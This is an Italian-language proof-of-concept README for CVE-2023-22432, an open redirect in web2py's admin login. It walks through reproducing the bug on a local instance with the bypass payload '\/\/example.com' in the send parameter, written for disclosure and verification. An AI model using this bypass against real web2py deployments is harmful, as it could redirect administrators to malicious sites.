
PoC per CVE-2023-22432 (web2py)
Una vulnerabilità (CVE-2023-22432) in web2py è stata divulgata il 31 gennaio 2023 (ora USA). Questo articolo descrive la nostra analisi di questa vulnerabilità e i risultati della nostra verifica.
Questa vulnerabilità è una vulnerabilità di open redirect in web2py che consente di specificare un URL arbitrario come URL di destinazione del callback nell'URL della pagina di amministrazione. Le contromisure contro gli open redirect erano state inizialmente implementate, ma questa vulnerabilità viene riprodotta applicando un metodo di bypass speciale all'URL. Questo può condurti a siti dannosi.
Una vulnerabilità di open redirect (CVE-2022-33146) è stata scoperta in web2py nel 2022, e ci siamo chiesti se esistessero altre vulnerabilità simili a CVE-2022-33146, quindi abbiamo controllato il codice sorgente di web2py e abbiamo trovato il modo per bypassare la prevenzione degli open redirect. Takuto Yoshikai (l'autore) di Aeye Security Lab ha segnalato questo problema all'IPA e al team di sviluppo di web2py.
Esegui build.sh in questo repository. Quindi web2py si avvierà.
bash build.sh
Accedi a http://localhost:8000/admin/default/index/?send=//example.com
Inserisci la password "password123" e clicca su Login.
Non ha reindirizzato a example.com, quindi la prevenzione degli open redirect ha funzionato correttamente.
Accedi a http://localhost:8000/admin/default/index/?send=\/\/example.com
Il payload è \/\/example.com.
Inserisci la password "password123" e clicca su Login.
Ha reindirizzato a example.com, quindi la prevenzione degli open redirect non ha funzionato correttamente.
Dopo la revisione e la verifica, abbiamo confermato che è possibile indirizzare l'amministratore a un sito web dannoso modificando l'URL della pagina di amministrazione. Raccomandiamo di aggiornare il sistema il prima possibile.